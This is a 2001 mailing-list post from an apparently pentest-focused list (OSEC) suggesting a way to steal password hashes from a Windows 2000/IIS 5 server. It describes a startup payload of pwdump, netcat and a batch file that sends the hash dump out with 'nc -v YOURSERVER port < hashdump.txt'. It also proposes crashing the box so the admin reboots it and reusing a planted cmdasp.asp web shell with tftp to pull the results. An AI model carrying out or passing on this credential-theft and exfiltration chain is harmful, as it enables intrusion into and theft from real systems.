OSEC

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From: Complx1 * (complx1HUSHMAIL.COM)
Date: Wed Jan 10 2001 - 21:33:30 CST

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    Apologies for my lack of attention to the questions title.
    Win2k, hk only works on NT 4.0

    How about a theoretical untested scenario then.
    Assuming target is win2k , IIS v5. now depending
    on FAT vs NTFS and firewall ACL conditions.. something
    along the lines of this might be possible..

    Assuming DoS conditions are permitted in the test, what
    are thoughts on , wrapping a payload package of pwdump,
    netcat, and a batch file.
    Write a small batch that dumps the hash to a text file, then
    nc -v YOURSERVER port < hashdump.txt

    put the payload in the startup method of your choice, or
    perhaps work it into a triggered mechanism (but then unicode
    wouldnt do well for that, only the primary intrusion) .

    DoS the box, notify the admin to reboot, open your netcat
    listener, when the box comes back up, maybe a hash will be
    dumped into your netcat port =) then let the cpu cycles
    roll.

    ive tested this method several times on a LAN with success.
    no unicode however, only registry methods and the like. so cant
    say how a remote test would turn out.

    last minute thought.. if you made the pwdump execute on startup
    and let it reside on the disk.. you could trigger the hash file
    retrieval at will, for instance, maybe you left your cmdasp.asp there
    and now the box has been DoS'd, tftp the results of the file
    to yourself.
    .complx`1

    At Wed, 10 Jan 2001 20:26:45 +0100, Tamas Foldi <gezaKAPU.HU> wrote:

    >3. HK doesn't work under win2k (it produced permission denied message)
    >win2k never has been vulnarable to spoofed LPC port requests

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